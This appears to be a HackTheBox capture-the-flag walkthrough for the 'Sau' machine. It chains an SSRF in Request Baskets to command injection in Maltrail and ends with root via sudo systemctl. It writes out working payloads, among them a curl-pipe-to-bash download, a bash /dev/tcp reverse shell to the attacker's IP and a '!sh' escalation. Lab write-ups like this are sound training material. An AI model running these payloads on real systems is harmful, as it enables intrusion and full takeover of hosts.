Sau – HackTheBox

Machine Name: Sau
IP: 10.10.11.224
Difficulty: Easy

Summary

Sau is an easy machine that starts with discovering a port that runs Request Basket. The application is vulnerable to an SSRF which led to discovering the Mailtrail application running on port 8338 was being forwarded. The Mailtrail application was vulnerable to an unauthenticated command injection. The RCE was obtained by chaining the SSRF to redirect us to the vulnerable “/login” page where the payload was injected. Privilege Escalation involved abusing sudo right to run systemctl as root.

Information Gathering

Nmap scan shows that ports 22 (SSH), 80 (HTTP), 8338, and port 55555 are open.

nmap -p- 10.10.11.224
nmap -p 22,80,8338,55555 -sC -sV -oN sau.nmap 10.10.11.224

Upon visiting the webserver running on port 55555, I observed that it was running “request-basket 1.2.1”. We can create a new basket to collect and inspect HTTP requests.

If we create a new basket, we get a token and basket ID through which we can access the basket.

If we send a GET request to the basket that we created, it shows that the request is being logged.

I quickly googled for “request basket exploit” and found that it was vulnerable to SSRF. This blog explains how one could exploit it.

SSRF in Request Basket (CVE-2023-27163)

The “forward_url” parameter is vulnerable to SSRF. When the following parameters are passed in a POST request that creates the bucket, the it seems to create a new route to port 80. To show the response, I set the “proxy_response” value to true.

{
  "forward_url": "http://127.0.0.1:80/",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

I captured the “create basket” request and included the above JSON data and forwarded it.

The bucket was successfully created.

When I opened the basket, I found that it was redirected to “Mailtrail (v0.53)”. According to the github repository of Mailtrail, it is a malicious traffic detection system.

When I googled for vulnerabilities related to Mailtrail v0.53, I found that it is vulnerable to unauthenticated command injection. This blog explains the PoC.

Mailtrail v0.53 RCE Vulnerability

The “subprocess.check_output” function in the Mailtrail application is vulnerable to command injection in the”username” parameter. The injected commands are run as the user running this service. Note that this vulnerability can be exploited without authentication.

curl 'http://hostname:8338/login' \
  --data 'username=;`id > /tmp/bbq`'

The port 8338 identified by Nmap now makes sense as it runs the Mailtrail application.

Chaining SSRF to get RCE

To exploit the RCE, we need to forward the request to the “/login” endpoint at port 80 forwards the Mailtrail login page. Then, we would simply have to send a POST request to the basket page containing the RCE payload.

I captured the “create bucket” request and set the “forward_url” parameter to the “/login” page.

{
  "forward_url": "http://127.0.0.1:80/login",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

The basket is successfully created.

Upon visiting the basket page, the response was an error stating “Login failed”. That’s alright as we can use the unathenticated command injection to gain a shell. The SSRF was only a means to reach the Mailtrail service through port 55555 which later forwards to “127.0.0.1:80/login” as we manipulated the “forward_url” parameter.

Gaining a User Shell

I can capture this request and send a POST request containing the payload.

username=;`curl 10.10.14.15/shell | bash`'

I can now host the reverse shell and fetch it through the command injection and run it to get a shell.

vi shell
bash -i >& /dev/tcp/10.10.14.15/1234 0>&1

python3 -m http.server 80
nc -lvnp 1234

I upgraded my shell to a fully interactive PTY shell.

python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg

export TERM=xterm

Privilege Escalation

As always, I ran sudo -l. I found that the user can run “systemctl” as root.

sudo -l

I know that systemctl with sudo rights can be used to gain a higher privileged shell. I straight away opened GTFObins and checked the method.

I just needed to run the command and the do a “!sh” to get a shell through systemctl.

sudo /usr/bin/systemctl status trail.service
!sh
# 

Pwned!